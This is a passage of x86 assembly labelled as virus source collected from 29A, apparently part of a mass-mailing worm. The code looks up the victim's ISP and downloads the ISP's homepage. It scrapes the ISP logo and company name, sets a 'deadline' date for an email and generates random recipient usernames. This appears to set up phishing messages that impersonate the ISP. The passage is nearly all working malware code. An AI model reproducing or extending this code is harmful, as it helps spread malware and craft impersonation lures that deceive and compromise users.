29a-7.013

从29A上收集的病毒源码

    ; clear the szHostName buffer
    push    132
    pushptr szHostName
    ApiCall RtlZeroMemory
    
    ; get the host name from the DNS response message
    mov     eax, [ebp+lpResults]
    add     eax, size DNS_RECORD
    mov     eax, [eax]
    push    eax
    pushptr szHostName
    ApiCall lstrcpyA    

    ; release the DNS record list
    push    DNS_FREE_RECORD_LIST_DEEP
    pushval lpResults
    ApiCall DnsRecordListFree

;-------------------------------------------------------------------------------------------------;
; Extract the ISP host name from this computers host name.                                        ;
;-------------------------------------------------------------------------------------------------;
    
    ; seek to the end of the domain
    lea     esi, [ebp+szHostName]
    push    esi
    ApiCall lstrlenA
    add     esi, eax
  
    ; seek backwards to a period or the start of domain
findPeriod:
    dec     esi
    lea     eax, [ebp+szHostName]
    cmp     esi, eax                               ; start of host name?
    je      copyFullDomain
    cmp     byte ptr [esi], '.'
    jne     findPeriod    
    mov     ebx, esi

    ; compair domains   
    lea     edi, [ebp+topDomains]
compairDomain:   
    mov     al, [ebx+1]
    mov     ah, [edi]
    inc     ebx
    inc     edi
    cmp     ax, 0
    je      findPeriod
    cmp     ax, 002Eh
    je      findPeriod
    cmp     al, ah
    je      compairDomain

    ; seek to the next domain in the list
    push    edi
    ApiCall lstrlenA
    add     edi, eax
    inc     edi

    ; no more domains left?
    mov     ebx, esi
    cmp     byte ptr [edi], '$'
    jne     compairDomain
    inc     esi

copyFullDomain:

    ; clear the szIspHostName buffer
    push    132
    pushptr szIspDomainName
    ApiCall RtlZeroMemory   

    ; copy the domain to a buffer
    push    esi
    pushptr szIspDomainName
    ApiCall lstrcpyA

;-------------------------------------------------------------------------------------------------;
; Download the main webpage of the Internet Service Provider.                                     ;
;-------------------------------------------------------------------------------------------------;    
    
    ; allocate 64k for the webpage
    push    65536
    push    GMEM_FIXED
    ApiCall GlobalAlloc
    cmp     eax, 0
    je      exitThread
    mov     [ebp+lpWebpage], eax	
    
    ; initialize wininet
    push    0
    push    0
    push    0
    push    0
    push    0
    ApiCall InternetOpenA
    cmp     eax, 0
    je      exitThread     
    mov     [ebp+hInternet], eax            

    ; copy the domain to a buffer
    pushptr szWWW
    pushptr szIspWebpage
    ApiCall lstrcpyA

    ; concat the ISP domain
    pushptr szIspDomainName
    pushptr szIspWebpage
    ApiCall lstrcatA

    ; open the webpage URL
openUrl:
    push    0
    push    0
    push    0
    push    0
    pushptr szIspWebpage
    pushval hInternet
    ApiCall InternetOpenUrlA  
    cmp     eax, 0
    je      exitThread
    mov     [ebp+hFile], eax

    ; download the webpage
    mov     edi, [ebp+lpWebpage]
    xor     esi, esi
downloadWebpage:
    pushptr dwNumberOfBytes
    push    65536
    push    edi
    pushval hFile
    ApiCall InternetReadFile
    add     edi, [ebp+dwNumberOfBytes]
    add     esi, [ebp+dwNumberOfBytes]
    cmp     [ebp+dwNumberOfBytes], 0
    jne     downloadWebpage
    mov     [ebp+dwWebpageSize], esi

    ; if the webpage size is greater then 500 bytes then find the logo
    cmp     esi, 500
    jg      findLogoUrl

;-------------------------------------------------------------------------------------------------;
; Handle webpage redirections.                                                                    ;
;-------------------------------------------------------------------------------------------------;

    ; find a URL in the webpage
    xor     ecx, ecx
    mov     edx, esi
    mov     edi, [ebp+lpWebpage]
    lea     esi, [ebp+szIspWebpage]
findUrl:
    mov     eax, [edi]
    and     eax, 00FFFFFFh
    cmp     eax, 2F2F3Ah
    je      findUrlStart
    inc     edi
    inc     ecx
    cmp     ecx, edx
    jne     findUrl
    jmp     exitThread
     
    ; find the start of the URL
findUrlStart:
    cmp     byte ptr [edi], '"'
    je      copyUrl                    
    cmp     byte ptr [edi], ' '
    je      copyUrl
    cmp     byte ptr [edi], '='
    je      copyUrl
    cmp     byte ptr [edi], '('
    je      copyUrl
    dec     edi
    dec     ecx
    cmp     ecx, 0
    jne     findUrlStart
    jmp     exitThread 

    ; copy the URL to a buffer
copyUrl:
    inc     edi
    inc     ecx
    mov     al, [edi]
    mov     [esi], al         
    inc     esi
    cmp     ecx, edx
    je      exitThread
    cmp     al, '"'
    je      copyComplete
    cmp     al, ' '
    je      copyComplete
    cmp     al, ')'
    je      copyComplete
    jmp     copyUrl            

    ; zero terminate the URL and download the webpage
copyComplete:
    mov     byte ptr [esi-1], 0
    jmp     openUrl
           
;-------------------------------------------------------------------------------------------------;
; Find a logo image URL on the webpage.                                                           ;
;-------------------------------------------------------------------------------------------------;        

findLogoUrl:

    ; find the word "logo"
    xor     ecx, ecx
    mov     esi, [ebp+lpWebpage]
    lea     edi, [ebp+szUrl] 
findLogo:  
    mov     eax, [esi]
    and     eax, 0DFDFDFDFh
    cmp     eax, 'OGOL'
    je      findType
    cmp     ecx, [ebp+dwWebpageSize]
    je      exitThread 
    inc     esi
    inc     ecx 
    jmp     findLogo

    ; find the file extension ".gif" or ".jpg"
findType: 
    mov     eax, [esi]
    cmp     al, ' '
    je      findLogo
    and     eax, 0DFDFDFFFh
    cmp     eax, 'FIG.'
    je      findImgStart
    cmp     eax, 'GPJ.'
    je      findImgStart
    cmp     ecx, [ebp+dwWebpageSize]
    je      exitThread
    inc     esi
    inc     ecx
    jmp     findType

    ; find the start of the image URL
findImgStart:
    mov     al, [esi]
    cmp     al, ' '
    je      copyImage    
    cmp     al, '='
    je      copyImage
    cmp     al, '('
    je      copyImage
    cmp     al, '"'
    je      copyImage
    cmp     ecx, 0
    je      exitThread
    dec     esi
    dec     ecx
    jmp     findImgStart

    ; copy the image URL to a buffer   
copyImage:
    inc     esi
    mov     al, [esi]
    mov     [edi], al
    cmp     al, ' '
    je      imageCopied
    cmp     al, '"'
    je      imageCopied
    cmp     al, ')'
    je      imageCopied
    cmp     al, '>'
    je      imageCopied
    cmp     ecx, [ebp+dwWebpageSize]
    je      exitThread
    inc     ecx
    inc     edi 
    jmp     copyImage       
imageCopied:        
    mov     byte ptr [edi], 0

    ; only the image name specified in the URL?        
    lea     edi, [ebp+szUrl]
    mov     ecx, 132
    mov     al, '/'
    repne   scasb
    mov     edx, 1
    jecxz   makeFullUrl

    ; only the image path/name specified in the URL?
    lea     edi, [ebp+szUrl]
    mov     ecx, 132
    mov     al, ':'
    repne   scasb
    mov     edx, 0
    jecxz   makeFullUrl

    ; copy the full URL to a buffer
    pushptr szUrl
    pushptr szLogoUrl
    ApiCall lstrcpyA
    jmp     logoParseComplete
        
    ; create a complete URL containing a scheme, hostname and path.       
makeFullUrl:
    lea     edi, [ebp+szIspWebpage]
    mov     ecx, 132
    mov     al, '.'
    repne   scasb
    mov     eax, 132
    sub     eax, ecx
    mov     ecx, eax
findDomainEnd:
    inc     ecx
    inc     edi
    cmp     ecx, 132
    je      exitThread
    mov     al, [edi]
    cmp     al, 0
    je      copyDomain
    cmp     al, '/'
    je      copyDomain 
    jmp     findDomainEnd
copyDomain:        
    lea     edi, [ebp+szLogoUrl]
    lea     esi, [ebp+szIspWebpage]
    rep     movsb
    cmp     edx, 0
    je      concatPath
    mov     byte ptr [edi], '/'
    inc     edi
concatPath:
    pushptr szUrl
    push    edi
    ApiCall lstrcpyA   

logoParseComplete: 

;-------------------------------------------------------------------------------------------------;
; Get the company name of the ISP.                                                                ;
;-------------------------------------------------------------------------------------------------;
  
    ; copy the company name to a buffer
    lea     edi, [ebp+szIspName]
    lea     esi, [ebp+szIspDomainName]
copyCompanyName:
    mov     al, [esi]
    cmp     al, '.'
    je      companyNameCopied
    mov     [edi], al
    inc     esi
    inc     edi
    jmp     copyCompanyName
companyNameCopied:
    mov     byte ptr [edi], 0
    
    ; make the first letter upper case
    lea     edi, [ebp+szIspName]
    and     byte ptr [edi], 0DFh

;-------------------------------------------------------------------------------------------------;
; Create a deadline date for the email message                                                    ;
;-------------------------------------------------------------------------------------------------;

    ; get today's date
    pushptr date
    ApiCall GetSystemTime 

    ; set the dead line date
    mov     [ebp+date.wDay], 1
    inc     [ebp+date.wMonth]
    cmp     [ebp+date.wMonth], 13
    jl      convertDate
    mov     [ebp+date.wMonth], 1 
    inc     [ebp+date.wYear]    
      
    ; convert the date to a string
convertDate:
    push    25
    pushptr szDeadLine
    pushptr szDateFormat
    pushptr date
    push    0
    push    0
    ApiCall GetDateFormatA

;-------------------------------------------------------------------------------------------------;
; Generate a username to send the email message to.                                               ;
;-------------------------------------------------------------------------------------------------;

    xor     si, si

    ; clear the email account buffer
    push    25
    pushptr szEmailAccount
    ApiCall RtlZeroMemory

    ; generate a number from 0-1
    ApiCall GetTickCount
    and     ax, 8000h
    shr     ax, 15
    mov     si, ax
    cmp     ax, 0
    je      getName
   
    ; generate a number from 0-25
preLetter:
    ApiCall GetTickCount 
    and     ax, 7C00h
    shr     ax, 10    
    cmp     al, 26
    jge     preLetter
    add     al, 'A'
    mov     byte ptr [ebp+szEmailAccount], al  
 
    ; generate a number from 0-1023
getName:
    ApiCall GetTickCount
    and     ax, 3FFh
    xor     ecx, ecx
    mov     cx, ax 
   
    ; find the name corrusponding to the number
    lea     edi, [ebp+lastnames]
    jecxz   displayName
seekToName:    
    push    ecx
    mov     ecx, 25
    xor     al, al
    repne   scasb
    pop     ecx
    loop    seekToName
displayName:
    push    edi
    pushptr szEmailAccount
    ApiCall lstrcatA

    ; generate a trailing letter if specified
    cmp     si, 1
    je      nameComplete
postLetter:
    ApiCall GetTickCount
    and     ax, 7C00h
    shr     ax, 10    
    mov     dl, al